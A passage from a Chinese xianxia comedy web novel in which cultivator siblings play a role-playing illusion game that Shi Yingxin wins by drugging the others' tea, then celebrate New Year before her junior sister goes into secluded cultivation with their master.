算了,他也这么安慰自己,反正都是假的……只要忽略时不时硌到的石块和疑似要摩擦着火的衣服还有腰腹血流得越来越多越来越疼的伤口……嗯,都是假的。 真是好不容易才把人拖到了家里。 石映心先是把大师兄放在地上,然后喝了口水缓了缓,接着打算将大师兄拎起来躺床上的时候,发现他的外衣的后边已经破了。小师妹也瞧见了,有些心虚地在她肩头说:“哎呀这……干脆给大师兄都脱了吧,反正接下来就该上药了。” 石映心:“嗯。” 明易:等等,难道真的要…… 他这会是想赶紧醒来的,但莫名连咳嗽都咳嗽不了,甚至动也不能动。 把大师兄的衣服一脱,就听小师妹叫道:“奇怪,为什么我看不见大师兄脖子以下的身体啊!?” 石映心:OO 她打量了一下面前大师兄精壮白皙的上半身,看得很清晰啊:“我看得见。” 怎么区别对待了还,曾换月虽有些不满,不过她对大师兄的身体也没什么兴趣,很快便无所谓道:“师姐你看得见就行,反正是你上药。” 石映心点点头,瞅见那狰狞可怖的伤口,在雪白的腹肌一侧格外明显;再瞅了瞅大师兄闭着眼睛微微皱起的眉头,虽说知道这是假的,但心中也有些担忧了:“怎么上药?” 好在曾换月写话本故事的时候写过这样的情节:“首先要处理伤口,师姐你就……” 石映心按照她说得做了,然后又问:“敷什么药?” “这个……我忘记了。” 石映心便站起来去药柜前看了看,不管是草药还是成品药粉,全是些她不认识的;她又看向一边的书柜,心说现在开始学习医药知识还来得及吗? 小师妹思考了一下:“我觉着秘境不会这么为难我们,也许你随便找一个药用一用就行了。” 石映心也这么觉得,于是随便找了一个成品药罐给大师兄敷上,还不等她进行下一步的包扎呢,忽然见明易的脸色变得通红,额上开始冒了汗,表情也狰狞了一些,瞧着比刚才痛苦多了。 石映心手上一顿,迟疑道:“随便……好像不行。” 怂恿犯曾换月后知后觉地心虚了:“哎呀这,不过脸色看起来是好多了……哈哈,话说师姐你用的是什么药啊?” 石映心拿起边上的小药罐看了看:“合欢散。” “什么?!” “合欢散,我想是和合欢宗同名的,肯定有用处。” 曾换月:不是师姐你…… 怪她,怪她……怪她每次借给师姐看的都是正经话本……这个故事告诉我们,人果然是需要一些不正经的知识的。 她师姐还在那问:“换月,为什么大师兄看起来更难受了?” 曾换月:“这个……这个……” 好了,现在大师兄不单单是伤口流血这么简单了,还中了合欢散,这下要什么办呐! 不知小师妹为何支支吾吾,石映心也在想办法,于是又转头去看药柜,扒拉着一个个药罐看:“断肠草,鹤顶红,五毒天水,情花散……” 曾换月:听着没一个好东西啊!这下看来合欢散竟然是最安全的? 石映心用手拢起几个药罐:“换月,用哪个好?” “师姐你先把它们放下……”曾换月蛇皮发麻,“额,我觉得现在应该先准备一桶很冰的水……” “那大师兄的伤口怎么办?” “……这个暂且不重要了。” 石映心于是先去搬了浴桶进来,将浑身通红冒汗的大师兄安置在里边,然后一桶一桶地从院子的井里打水倒进去,来来回回几十趟,可把她累坏了。她趴在桌上休息,看着浴桶中的大师兄脸上的红慢慢褪去,神情也渐渐舒缓,总算放下心来:“太好了,看来这个办法有用。” 曾换月也是蛇皮一松:“是啊是啊,太好了哈哈……”忽略水面上冒起的血不谈的话…… 石映心又是拖人又是找药又是搬水,折腾了好久,长长叹了口气说:“太累了,我要睡会。” 说着走到床榻边上躺下,躺了又坐起来,往边上摸了摸:“这是什么?” 她拿起来一瞧,是个看起来很贵的玉佩。小师妹游过来道:“这肯定是大师兄身份的象征,估计等会他醒来就失忆了。这样吧师姐你先藏起来。” 藏起来? 石映心想了想,顺着边上的床缝扔了下去。 曾换月:…… 打了个哈欠,石映心端正地在床上躺好,一副真的要睡的模样,但她闭上眼睛,不知是不是秘境设定的问题,居然睡不着。石映心只能躺在那阖眼休息,无聊地问师妹:“这个秘境的目的是什么?” 曾换月游到枕头上:“没什么目的呀,就是瞎玩。所以是娱乐阵法嘛。” “怎么玩都可以吗?” “是啊,不过最后不是会评定一个魁首嘛,师姐你不想要吗?” 石映心不觉得这个魁首有什么含金量,摇摇头道:“好累。” 曾换月宽慰道:“这些就是民间话本的套路啦,女主要和男主在一起之前都是要吃很多苦的,目前咱们这才是洒洒水呢。” “为什么要吃苦?” “主要就是体现女主的刻苦耐劳,聪明善良这些美好品性啦,说明她是一个很好的、值得被爱的人。” 石映心睁开眼看着破破的天花板,想了想道:“我想我也算是聪明善良,刻苦耐劳,但如果有一个人爱的是我这些品性的话,好像不是我想要的爱。” “啊,那你想要什么样的呢?” 石映心:“我想……如果有人像常曦对月亮,羲和对太阳,姬滢对月神那样对我,我会很高兴,她们的情绪让我觉得很舒服。” “那是崇拜吧?不是爱啦。” 石映心:“世上有怜惜的爱,有见色起意的爱,也有与恨交织的爱;这么看,我想要的是被崇拜的爱。” “我就很崇拜你啊师姐!” 石映心点点头,正要说什么,忽然听见边上传来几声咳嗽,小白蛇直起身子道:“大师兄醒了?” 石映心转头望去,和在浴桶中脸色苍白的大师兄对上视线,她便坐起身,有些高兴道:“大师兄你醒了?” 明易微微颔首,泡在冷水里冷的要命,体内又发着热气,他感到又冷又热,再加上腹部的伤口时不时疼一下……实在是折磨。他想让映心把自己捞出来,这时又听边上“叮”了一声,空中飘起几行字: 【石映心救下陌生男子后,对其进行悉心周到的照顾……】 明易:咳咳咳…… 【男子醒来后失忆了,于是二人相依为命、朝夕相处三个月……】 曾换月:“二人相依为命”是什么意思啊?我呢我呢我呢?当我不存在呗? 【双方表明了心意,私定了终身,决定找个好日子喜结良缘……】 石映心:好快哦。 【就在这时!不速之客到访……】 漂浮在空中的字迹消失的一瞬间,二人一蛇只见眼前场景骤变,原本坐在浴桶中的大师兄变成了坐在书案前看书,身上的衣服换了一件,整个人看起来精神不少,不再病恹恹的。 石映心低头看了看自己……怎么还是这套衣服? 明易感到身上的病痛全然不见:“映心……” 砰砰砰! 二人对视一眼,看向被敲响的门,石映心没什么犹豫地走去将门打开了,露出一张熟悉的脸:“二师兄?” “映心!”顾梦真的脸上露出哭戚戚的笑容,“我可总算找到你了!你知道我在林子里迷路了多久吗?饿死我了!” 石映心说不知道,又问他来做什么? “哦……”顾梦真想起正事,“我是来找人的,你有没有捡到一个受了伤的男人?他是我要杀的人。” 后边还在地上爬的小白蛇闻言,连忙一边爬一边喊:“没有没有,师姐你快说没有——” “有啊。”石映心往边上一侧身子,示意二师兄进来,“你要杀的应该就是大师兄哦。” 顾梦真于是进了门,还差点踩到小师妹,被骂了“没长眼睛啊”之后吓得往边上跳了两步,这才看见了屋里坐着的、仿佛没事人一般的明易。 他看见映心把白蛇放到肩膀上,然后还介绍了它的身份,有些一头雾水:“什么啊……换月怎么变成蛇了?还有大师兄,我要杀的人是你啊?” 明易淡定点头:“嗯。” 曾换月看看二师兄又看看大师兄:“怎么回事啊这?” 明易想起自己的身份:“嗯,因为我杀了他全家,梦真便来找我复仇,我们交手之后两败俱伤,我坠落悬崖之后被映心捡到……” 石映心好奇:“为什么大师兄要杀了二师兄全家?” “因为顾梦真辜负了我!” 后头又传来晴雯的声儿,几人回头望去,就见她和莫默慌慌张张地跑来了,到了门口还气喘吁吁的:“呼,赶上了没?我们一直被拦着出不了城,好不容易逃出来了。” “赶上了赶上了。”曾换月道,“所以晴雯师姐你们要干嘛?” 第120章 晴雯指着顾梦真道:“他原本是我的未婚夫,但临近婚期却和官家小姐狼狈为奸,为了自己的好名声打算将我全家杀光,好正大光明地娶小姐进门,没想到我被自小与我青梅竹马且暗恋我的明易救了出来,明易见我失魂落魄便打算替我复仇……之后就是他说的这样。” 说了这一大段她长长喘了口气:“映心,有没有水……” 石映心:“屋里有。” 晴雯进屋喝水,顺便和自小和她青梅竹马且暗恋她的明易打了个招呼。 石映心又看向莫默:“莫默师兄,那你呢?” “哦,我啊。”莫默挠挠头道,“我是和顾梦真狼狈为奸的官家小姐雇佣的杀手,只有将晴雯全家都杀光了才能拿到钱,所以是来杀晴雯的。” “原来是这样,”石映心说,“大家都进来说吧。” “好啊。” 于是六人都在屋里坐下,一副要好好商量的架势。 “所以现在的情况是……”盘在桌子中央的曾换月试图理清情况,“莫默师兄要杀晴雯,晴雯要杀二师兄,二师兄要杀大师兄,大师兄又要杀二师兄还要对付莫默……而且晴雯和大师兄是青梅竹马的关系……” “顺便一提,”曾换月嘿嘿道,“晴雯师姐,因为我师姐救了大师兄,大师兄要以身相许,所以二人现在已经心意相通喽。” “什么!”晴雯一愣,“这不行啊,我不仅要杀了顾梦真,还要和明易情定终身的。” 曾换月:“没办法,因为大师兄失忆了嘛。” “不是吧明易?”莫默用胳膊肘怼怼某人,“你爱晴雯爱到愿意帮她杀人欸,自己都差点死了,结果一失忆就爱上别人啦?” “对啊对啊,”顾梦真看热闹不嫌事大,笑嘻嘻道,“那要是之后大师兄你恢复记忆了,究竟是爱谁呢?难道两个都爱?” 曾换月:“嘿嘿,肯定是爱我师姐的啦,但是一般来说,三人要虐来虐去、爱死爱活,最后大概会有一个我师姐差点要死了的困境借此让大师兄明白自己真正的心意……” 石映心:“好麻烦。” 晴雯:“换月说得有理,可这样我不是铁定完成不了任务?” 曾换月:“所以晴雯师姐你的隐藏任务指不定就是要杀了我师姐呢,但肯定不能被大师兄发现,不然他会厌恶你的。” 晴雯:“嘶,原来是这样。” 明易:“我已经知道了。” 石映心:“我不要死。” “所以现在就是互相杀和互相保护以及还有一对三角恋的关系嘛。”曾换月精辟总结,“看来我们没办法同时完成任务了,不过这也是很正常的情况,有输才有赢。” 莫默点点头:“而且我们都没了修为,看来得想个别的法子一决胜负。” 曾换月:“石头剪刀布?” 顾梦真:“不行,我不擅长这个。” 晴雯:“要不比算术?” “不行!我不擅长这个。” …… 在激烈的争吵声中,没怎么说话没什么建议的石映心站了起来,拿起了桌上的茶壶:“我去添点水。” 大家说好啊好啊,正好吵得口渴了。 她添了水回来,又贴心地给大家倒好,拿起自己的茶盏往中间一举,没由来地说了一句:“新年快乐。” 争吵声一愣,大伙意外又恍然地想起今天是除夕呢,映心是觉得大过年的这么吵吵闹闹不太好吗? 虽然这是在秘境中啦,但大伙还是都笑了起来,除了不方便的曾换月,其余人都配合地和她碰杯,互相道 喜,饮下水来。解了口渴之后,又继续讨论:“要不我们先各自分散开来,但不能逃到树林外,到时候谁逮到谁就直接……” 咚。 咚咚咚。 戛然而止的话语声后,桌上咚咚趴倒了一片。 小白蛇吓得蹦了起来:“我的天奶,这是怎么回事!?” 她诧异地抬眼看去,瞧见唯一没咚的师姐左右看了看几个被她药倒的人,脸上扬起一个满意的微笑。 ……师姐做了什么! 她师姐是觉得这样杀来护去爱来恨去的实在是太麻烦了,大家都有想杀的人,也都有想保护的人,看起来谁都该死,谁都有不死的理由……而她,石映心,最无辜了,只是捡了个男人而已。 虽说不知道自己这个人物想要达成的最后结局是什么,但在因果错乱的局面中,想要赢的办法其实也很简单——就是把除了自己以外的人全杀了,如此便干干净净,只剩下自己。 活到最后可不就赢了吗? 石映心这么和师妹说。 瞅着师姐脸上满意的笑容,又看了看边上被碰倒的茶盏,曾换月很快也回过神来,哈哈笑道:“也是哦,这样怎么不算赢了呢?” 果不其然,很快空中便浮现出了几行字: 【正在结算……】 【恭喜达成隐藏结局:回归初心】 【祝各位道友新年快乐!】—— 她们从阵法中传送出来,眼前忽然出现热闹的庙会场景,在人声鼎沸之中皆有些恍若隔世的茫然。 阵法内和现实的时间流速不同,不管她们在阵法里呆了多久,在外面的人看来都是差不多半刻钟的时间。 莫默看看自己,又看看边上的好友:“啊?发生什么了?我怎么就出来了?我才刚上场诶!” 顾梦真也懵了:“对啊对啊,我还没开始大展拳脚呢!是不是阵法出故障了?” 晴雯:“不像啊。” 明易默了默,瞥了眼边上的某人:“我们喝了茶水之后就不省人事了。” 几人:? 石映心一脸淡定,曾换月忍不住偷笑起来。这时冉冉走来,笑着道:“没想到第一批客人就打出了隐藏结局,也算是旗开得胜了。对了,这是今年的魁首奖赏。” 说着手心一翻,变出两个小木盒递给了石映心和曾换月。 “啊?真是映心赢了啊。”莫默无语一笑,“我就说她忽然这么贴心给我们倒茶……” 晴雯忍不住笑出声:“还那么突兀地说了声新年快乐,结果我们都没反应过来。” 顾梦真也笑了:“又被映心摆了一道。” 因为是石映心的灵宠所以也跟着赢了的曾换月笑嘻嘻:“嘿嘿,被师姐带飞喽~” 可不是吗?明易想,这家伙常常看起来毫不上心的模样,方才大家在桌上讨论的时候,看她的神色明明是在走神,突然站起来说要给他们倒茶水,明易一开始有些疑惑,后来又觉得是她单纯懒得讨论,想找点别的事情干…… 结果,嗐。 拿了奖赏之后她们就赶紧离场给别人腾位置了。 大家凑在一起看今年的奖赏是什么,见石映心和曾换月把小木盒打开,露出里头的东西:是条可爱的小玉蛇。 “对了,”晴雯笑了笑,“明天开始就是蛇年了。这小蛇还挺可爱,可以做个首饰或是剑穗。” 石映心点点头。她师妹道:“做个戒指不错,我和师姐就是一对的了。” 顾梦真凑上来:“我可以帮你们做,一对给你们便宜点。” 曾换月:“真小气啊二师兄,大过年的应该打骨折,买一送一吧!” “这不对吧?大过年的应该涨价啊!而且你不是刚拿了压岁钱吗?” “一码归一码。” “什么一码归一码?” …… 这边在讨价还价,那边的莫默回过味来,觉得真不是滋味啊:“不行,我不服,映心明明是投机取巧地赢了嘛!按理来说后面就是大乱斗,指不定我还能赢了明易呢,那我能炫耀一年了。” 明易不想理他。 “愿赌服输嘛,”晴雯揽住石映心肩膀,“就是投机取巧也是赢了,那不然怎么是隐藏结局?而且要是你想到了这一劳永逸的办法,我也服你。” “嗐!”莫默扭扭身子,“我知道嘛,但就是感觉不过瘾啊……对了,要不我们回去玩叶子牌呗!我要大赢特赢!” “叶子牌?”顾梦真凑上来,“好啊好啊,多少一局?” 晴雯:“不打灵石,师父她们会生气的。” 顾梦真:“那打什么?” 石映心:“打扫卫生还有替挨仙板。” 她说的都是犯错后的惩罚,晴雯汗颜地看向她:“映心,已经开始为新一年的犯错挨罚做准备了吗?” 石映心诚实地点点头。 “但是……”曾换月有些可疑地心动了,“你别说,我感觉……” 顾梦真若有所思:“还挺有用的……” 晴雯:? 明易:唉。 莫默只是想玩得尽兴然后赢而已,奖赏是什么并不是很在意,于是一锤定音:“好,那就这么决定了!我们快回去玩牌吧!” 大家便准备御物飞行,却见明易站在那抱着胸一动不动。石映心问:“大师兄,你不走吗?” 明易微微摇头:“再过一会庙会便很热闹了,戒律堂要维持纪律。” “啊?”曾换月张了张嘴,“大过年的诶。” 明易:“嗯。” 就是大过年的这种没人乐意接的任务都会落到他头上:“你们回去玩吧,别太闹腾了。” “好吧。” 站在帝血剑上,小师妹对师姐说:“大师兄这么辛苦做什么呢?” 石映心想了想道:“不是大师兄做,就是其他人做了。” “那倒也是……”曾换月嘿嘿笑了笑,“要是谁都不做,最后就轮到我了,我可懒了。” 石映心点点头。 她们玩了一下午的牌,最大的赢家还是石映心,每个人都被她拿到了几张替罚卡,新的一年真是充满了盼头呢。天色变成夜幕时晴雯和莫默便回去了,没过一会明易结束了任务来到了云雨峰,师徒几个聚在院子里一边吃饭一边守岁。【】 120-130 第121章 看着大伙齐聚一堂,慕雲喝了口小酒感慨道:“一年一年过得真是快啊,感觉前不久你们都还是小娃娃呢,练功都要为师催着练。” 顾梦真指了指某人:“曾换月现在也差不多啊。” “哪有,我今年自律很多了好嘛!” 慕雲顺势说:“换月啊,就差你还没入元婴了。” 曾换月啃鸭脖:“我知道我知道……今年争取!” 她感觉师父们对弟子们入元婴一事很看重,但入了元婴之后就偏向于放养了;曾换月觉着这很像“高考”一般的存在。上大学后就能下山做任务,和实习找工作也差不多嘛。 但比较好的是不用担心就业的问题,毕竟弟子们天天除了修炼就是做任务……话说回来,好似许久没听过“飞升”一事了?当然是因为没人飞升,所以才没消息,就连以前以飞升为人生目标的大师兄也没听他再提过。 像她曾换月这样的小修士就从没有过飞升的念头,实在是太遥远了,再说她也没什么兴致,飞升之后大概是去天上做神仙了吧,有些“被封神”的感觉,但她还是想在归壹派和师姐师兄师父待在一起…… 师姐和二师兄肯定是这么想的,大师兄的话…… “换月,换月?” “啊?” 慕雲盯她:“我叫你拟写一份新年修炼的计划,过完年后交给我。” “……唉,好吧。” “赶紧入了元婴,为师也能少为你费心。” “……哦。” 慕雲又盯住二徒弟:“下午又聚众打叶子牌了” 顾梦真连忙摆手:“没玩灵石啊师父,而且是莫默说要玩的,偏拉着我们不让走啊!” “没玩灵石玩的什么?” 顾梦真:“这个……这 个……额……” “映心,你们玩什么?” 石映心:低头抿唇不语。 “明易?” 明易:“……下午我在庙会巡逻。” “换月?” 曾换月:“啊?我,我不记得了师父……” …… 瞎闲谈了一会,忽然听见“铛——铛——”,归壹派迎来了新年的钟声;远远地传来,回荡在山脉之中,声声空灵悦耳,承载着新一年的美好愿景。钟声之中,每个山头只剩下了新年的道贺。 辞旧迎新,蛇年来了。 在这样欢喜团圆的日子,人们一般会许下相似的愿望,比如要发财,要涨修为,要平安喜乐,事事如意…… 石映心觉得自己的愿望挺朴素的: 愿年年有今日,岁岁有今朝,她要每一年都能和大家在一起过年。 * 在折腾和休息了几日后,许多弟子在春节休沐还未完全结束时就开始新一年的任务和修炼了。没错,说的就是明易和石映心。 石映心去年还没这么勤奋,她一向是劳逸结合的,修炼的时候就认真修炼,能休息的时候就毫无负担地休息;今年也是情况特殊,她自己对照人之术很有兴致,反正闲着也是闲着,就开始修炼吧。 师姐一修炼,就没人陪师妹玩了,曾换月闲着无聊就苦思冥想了几日修炼计划,最后上交给了师父,还被驳回重写,说是太懒散了,这样就是明年都到不了元婴。 曾换月:啊! 再看顾梦真,这年一过,弟子们的手头都宽裕了不少,他本想趁此机会接点炼器的私单再赚一笔,谁想到一去炼器房就被陶远给逮住了,被迫参与年前别的门派的大批团单炼器任务,整得他老忙活了,好几天瞧不见人影。 顾梦真:不是搞不懂了咱们怎么说都是天下第一大派怎么整得跟流水线炼器厂似的? 明易更是万事堂戒律堂两头跑,好在最近石映心专心研究照人之术,他不必再抽空去陪她练剑……主要真没空抽了。 相比较之下,专心修炼的石映心倒是“清闲”许多,每天规规矩矩、从容不迫地起床修炼睡觉,心无旁骛,安安分分。 新的一年就这么开始了。 * 石映心近日多梦,梦里常常听到有人和她说话,有时候是不同的人,有时候是一个人,说什么听不清楚,在梦里似乎问不出话,只能任由梦中人说;醒来后就意识模糊,只隐约记得那人说什么“镜子”“蠢物”的,感觉在骂她。 但被骂了她却没有心情不好?这有些奇怪。 “哈……” 有梦的时候睡得就一般了,何况不是美梦。石映心打了个哈欠,翻身起床。 洗漱完后打开屋门,瞧见有一只传音鹤在她门口徘徊,拆开一看,是二师兄的传音:【映心,你和换月的对戒做好了,师兄很忙走不开,你自己来取哦。】 对戒?石映心看了看自己空荡荡的十根手指,这才想起除夕的时候把冉冉师姐的奖赏给二师兄做戒指的事情。反正她今日也不是很着急修炼,就先去取来然后送给换月吧,也有几日没见着她了。 飞到真宝山,就瞧见上头每一座殿宇每一间屋子里都热闹得很,不停地冒着白烟和灵光,门口大院堆了不少打包好的宝器,等着运输到其他门派。 新年后的炼器房真热闹啊。石映心想。 她来到二师兄的炼器房,看见二师兄在里头忙忙碌碌地配制材料,一开始还没发现她,直到她蹲在角落那堆乱七八糟的宝器面前找了有一会才被发现。 “你直接喊我嘛,在我这呢。”顾梦真无奈地变出一个小木盒给她,“喏,两个都在里面。” “谢谢二师兄。”石映心接过木盒子,抬眼看见二师兄脸上脏污也掩盖不住的黑眼圈,有些关心道,“二师兄你没事吧?看你很累。” 顾梦真叹了口气:“还行啦,我也习惯了……还有两日赶完这批货我就要好好休息个三天三夜!” 石映心点点头,看向他身后正在冒火星子的炼器炉,随意说了一句:“好,如果有需要帮忙的也能找我。” 顾梦真下意识说了一句:“不用你帮忙,你不是也忙着修炼?” 石映心微微颔首道:“嗯,不过似乎急不来,有时快有时慢的,我也拿不准。” “修炼就是这样啦……”说着他忽然想到什么,“不过说帮忙的话,我还确实有个小忙想找人帮。” “什么忙?” “映心,如果你有空的话,帮二师兄去过梦崖下采几株过梦草来,我近日在研究一些新玩意。” 石映心觉得二师兄也是很了不起的,这么忙的情况下还有空研究新玩意,没多想便同意了:“好。” 过梦崖便是黑竹林边上的那座悬崖。石映心偶尔练剑乏了,便会坐在崖边休息看风景;悬崖很高,垂下去的双脚隐入游云间,那些清凉的、软得捉不住的云彩像鱼儿一般绕着她的腿,抬眼望去远方是无尽的山脉,看得让人心静。 一般情况下,除了一些要采灵药的弟子,很少有人去过梦涯,毕竟离他们日常生活修炼的主峰有些距离,悬崖又高,飞下去还要一些时间;石映心也就几年前上灵药课的时候在授课师叔的带领下全班去过一回,印象中下边就是普通的悬崖和树林草地,没什么特别的。 她打算先去过梦崖下采了过梦草,然后在黑竹林修炼一会,晚些时候回洞府的时候顺便带给二师兄,这样正好。 御剑到了崖下,没想到是有些荒芜的景色。大概是冬末春初,天气还未转暖,前几日又下了冻雨,将崖底的草木都冷蔫巴了,地上冒着潮湿,花草很消沉。就连石映心站在这都触景生情地感到了冷。 不过好在过梦崖灵气旺盛,往里头林子深处走一些,应该还有许多生机勃勃的灵草。 石映心便往林子中走去,没走进去多久果然瞧见越来越茂盛的绿,她记得过梦草多数长在河流边,于是凭着先前的记忆找河,很快就听见了河流声,顺利地找到了几株品相不错的过梦草。 想着来都来了,那就多采一点吧,说不定二师兄之后派上用场呢?于是顺着河逆流而上,将过梦草一一收入囊中。采得差不多的时候,她正打算要离开,忽然听见前方传来什么动静? 难道也是来采草药的同门?以防万一,过去看看。 石映心往动静传来的地方走去,瞧见一个身影在地上画阵法,画一会就挠挠头抓抓脸,一副苦恼的模样,一举一动很熟悉,正是小师妹。 换月在这做什么? 石映心并不觉得小师妹会有什么事情瞒着她,主要她也瞒不住,所以第一想法是觉得师妹被师父骂了,赌气离家出走,毕竟这事她之前也不是没做过。于是很自然地就走过去喊了声:“换月。” “啊!”曾换月吓了一跳,从地上弹跳而起,转头一看是师姐,又松了一口气,“师姐……哎呀你要把我吓发财了!” 石映心问:“你来过梦崖做什么?” “哦……”曾换月的脸上闪过一瞬间的不自然,她偷摸撇了眼地上的阵法,脚尖似乎动了动,“我是想找个人少的地方练习阵法……师姐你也知道的,我的阵法里总是炸出奇奇怪怪的东西,我怕丢脸,也怕被师父骂,所以就来这了,过梦崖这里没什么人。” 石映心点点头:“原来是这样,我还以为你和师父闹脾气离家出走了。” “怎么可能,我也不是小孩子了。”曾换月否定了师姐的猜想,又回过神来问,“对了师姐,你来这又是做什么?” 石映心说:“二师兄让我帮他来采过梦草,他近日忙得走不开。” “忙得走不开也不该使唤你啊。” “也不是……”说到这,石映心总算想起来了,从储物空间里拿出小木盒,“是他传音让我去拿我们的对戒,我去之后见他很忙,顺口说可以帮忙,他才让我来采药的。” 第122章 “对戒做好啦!” 曾换月兴奋地接过来打开一看,是两个一模一样的玉蛇戒指,只是送来的礼品,价值自然不高,但顾梦真还是物尽其用地其打造成了一个小型储物空间。 她拿起一个戴在自己手上,左右摆着手打量,看起来还挺满意,又问石映心道:“师姐你要戴吗?” 石映心其实没有戴戒指的习惯:“不戴。” 曾换月说:“这只是普通的首饰,你想戴就戴,不戴就不戴。” 石映心点点头,将自己的那枚戒指收了起来,又说:“既然这样,你好好修炼,我就不打扰你了。” “正好,你载我一起上去吧,我要去师父那画符了。” “好。” 原以为这事就这么过去了,没想到当石映心忙完一天回到洞府,发现小师妹坐在院子里等她。见她来了便站起来打招呼:“师姐你回来啦。” “嗯, “石映心瞅了瞅石桌,上面没有话本,“怎么了?” “哦……”曾换月未语先叹气,瞧着有些没精打采的,“我是有件事要和你说啦……” “什么事呢?” “其实我自己也没想好。” “什么事呢?” “但是我想逼自己一把!” “什么事呢?” 曾换月大声说:“我决定要和师父一起闭关修炼!” 石映心以为她没什么事的,但这下确实有被惊讶到,看着她的模样似乎已经下定了决心:“师父确实每年都会闭关修炼一段时日……为何你突然要跟着去?” “我……唉。”她的手指头在石桌上画着圈圈,“还不是因为今天我在过梦崖,发现自己的阵法真的烂透了……其实符术也没好到哪去……再这样下去,估计这两年入元婴都够呛。” “但是我又常常心不在焉的,画着阵法想看话本,到了饭点就嚷嚷着要去膳堂,偶尔还想找你玩……简直是身在曹营心在汉啊!这样不专心,怎么能成大事呢?” 石映心看着她,默默地点了点头:“倒也是。” 曾换月:……一点安慰不给啊? “唉,总之,我白日已经和师父说了,师父也同意了,所以我来和你说。” 石映心便问:“大概要去多久?” “最多不过半年,”曾换月瘪了瘪嘴,“师父平时三四个月就能回来,也许带上我要久一些吧,但总是要半年内回来的……师姐,你不要太想我哦。” “半年很快的。”石映心拍拍她的肩膀,“你好好修炼,等入元婴之后我们便能一起下山了。” 曾换月苦笑道:“是啊,我也这么想,早费些功夫,好过日后待在山上苦等你们。再说闭关的时候有师父陪我,也不算很孤独啦。师姐你也要照顾好自己哦。” 石映心本来想说“虽然你出不去,但我可以去找你玩”,但又想到她的决心,还是把这话咽了回去:“嗯,我等你和师父回来。” 曾换月抽抽鼻子:“好。” 送走小师妹,石映心望了望天上的月亮,心中有一些感慨,难道这就是看着孩子长大的心情吗?其实是有不舍,不过只要是换月想做的事…… 她都会支持的。 * 大师兄二师兄听闻消息后都很意外,不过也给予了充分的鼓励和支持,就连一向喜欢挤兑她的顾梦真也难得说了句好听话:“行啊你,新年不只长了一岁,也有长进了嘛!” 大师兄:“量力而行,听师父的话,你没问题的。” 师姐:“换月加油。” 曾换月已经做好了心理准备,一改先前犹豫不决和消沉,斗志满满地保证自己一定成功破境归来。和师姐师兄告别后,背着小行囊就和师父出发了。 她把这次闭关的性质定义为:高考倒计时突击。 没错,就半年的时间,她要拿出当年高考的意志来! 其实她们去的地方很近,也就是归壹派哪个人少的山头,不过既然是去闭关的,自然会设结界,告示弟子们此处有人修炼哦,请勿打扰;弟子们路过时便知晓了,不做停留。 一开始闭关,日子便是无聊而充实,规律而麻木的。曾换月起先觉得这一切太难熬了,她最难忍受的点有三:不能看话本,不能吃好吃的,没人陪她玩。人生三大乐事都没了! 修炼完就是睡觉,睡不着就发呆;发呆的时候又觉得浪费时间,还不如拿来看书画符画阵呢……她居然也有拿休息时间学习的时候! 有时候她也问师父:“师父你不无聊吗?” 慕雲气定神闲道:“习惯便好。闭关既是修炼也是修行。” 是了,她师父闭关时连酒都不喝了,可见她意志之坚定啊……一想到师父每年都要这样几个月,小徒弟实在是佩服佩服。 也许是刚开始还不习惯,或是尚存不切实际的想逃离的念头,所以心中不免躁动;大概半个月后,曾换月算是彻底死心了,也习惯了这种毫无波澜的平静生活,试着将无聊的每一日转换成日复一日的积累,如此宽慰自己: 今天又进步了一点。 只等水滴石穿的那一日! * 话分两头,少了吵闹小师妹的三人,虽说多少有些寂寞,但好在都是修炼脑,一修炼起来就心无旁骛了。 春节后的一个月,她们一同下山做了一次任务,这次因果牌给出的指示很明确,没什么弯弯绕绕的,就是要去一个秘境中解救误入其中的凡人,对三人来说不要太容易,很快便完成了。 有一日石映心收到了泉芷寄来的礼物和信。信上说她游历许久,总算找到了神泉的下落,不过前方似乎危险重重,不知一去能否再回来,于是先把之前积攒下的礼物给寄她们寄来,说是希望日后有再见的一日。 礼物就是五花八门的,有吃的也有玩的,都是一些很稀奇的民间玩意,石映心都没见过。 石映心看了信,不得不为这位远方的好友忧心起来,希望这不是她们最后一次联络。 她想了想,先去找了大师兄,大师兄说不要礼物,这也在她意料之中;于是又去找了二师兄,二师兄对这些奇怪的东西很好奇,选了两件解密的机关玩具。 等顾梦真收了礼物,石映心就说:“二师兄,我想要一只能飞很远的传音鹤。” 顾梦真眨眨眼:“你想给泉芷送信啊?” “嗯。” 她们修仙界寻常的灵驿差只能送将信或者物件送到特定的地址,可她不清楚泉芷在哪,只能靠她们归壹派能循灵气找人的传音鹤来送信。但普通的纸张就是有仙法护身也不一定能飞这么远、这么久。 顾梦真想了想道:“这样吧,我试着将灵石混金银铜熔化,附上阵法,再倒入传音鹤的模中,试试行不行。” “好,谢谢二师兄。” “没事啦,帮我和泉芷问好哈。” “嗯。” 其实石映心也没什么帮泉芷的办法,她只是想送封信去和她说两句话,也许能让她心情好点;泉芷说喜欢她身上的“阳气”,于是她就用自身的灵气将传音鹤(升级版)灌得满满当当。如果小师妹在这,就会说她这是在“送温暖”。 送温暖也是很重要的。 办完这事,石映心将还剩了许多的礼物送去了咚咚洞。来到院中,就见满地春风扫落叶,透着一股寂静的萧条。还在抽芽的小树边上靠着一辆积着灰尘和落叶的有两个轮胎的玩意,小师妹说这叫自行车,她软磨硬泡让二师兄做出来的。 但做出来之后她也只是稀罕了几天,就随意搁着了。 石映心把礼物放在石桌上,用澄净诀将院子清扫干净,坐上二轮小车骑了两圈,迎面的风吹开面上的碎发,透心的凉。 换月和师父什么时候才能回来呢? 归壹派的春天来得很缓慢,往往是到了初夏,才发现春天已接近尾声。夜里不再冻人的风,渐渐显出绿色的山景,越发茂盛的小树下,那再次堆起灰尘和落叶的二轮小车…… 今年的端午是师兄妹三人一起过的,这三人不会热闹,只知道吃饭、聊天,赏月了。 大师兄日常询问师妹的修炼进展,这是师父不在后他应当的职责:“新的剑式练得如何?” 石映 心拆开大师兄包的香菇肉粽:“还行。” “明日我陪你练一会。” “好。” 二师兄把嘴里的糯米咽下去:“映心的照人之术还没进展吗?” 石映心点点头:“那面镜子照出的轮廓是清晰了许多,但始终只是轮廓,没有人的模样。这两月像是在做无用功,陈久师叔便让我练剑转换心情。” “不要着急,”明易宽慰她,“也许只是缺了些机缘,过两日等我们领了新任务,下山碰碰运气。” 顾梦真表示同意:“是啊是啊,像我炼器,偶尔也是要灵光一闪才能炼出新的一阶宝器的。” 石映心点点头:“好。” 散会之后,明易提着一袋粽子将师妹送到洞府,落地后将粽子递给她:“没想到梦真吃了这么多,你若喜欢下次我再包些送来。” 石映心接过粽子说好啊,谢谢师兄。抬眼看了看他,忽然叫了声:“大师兄。” 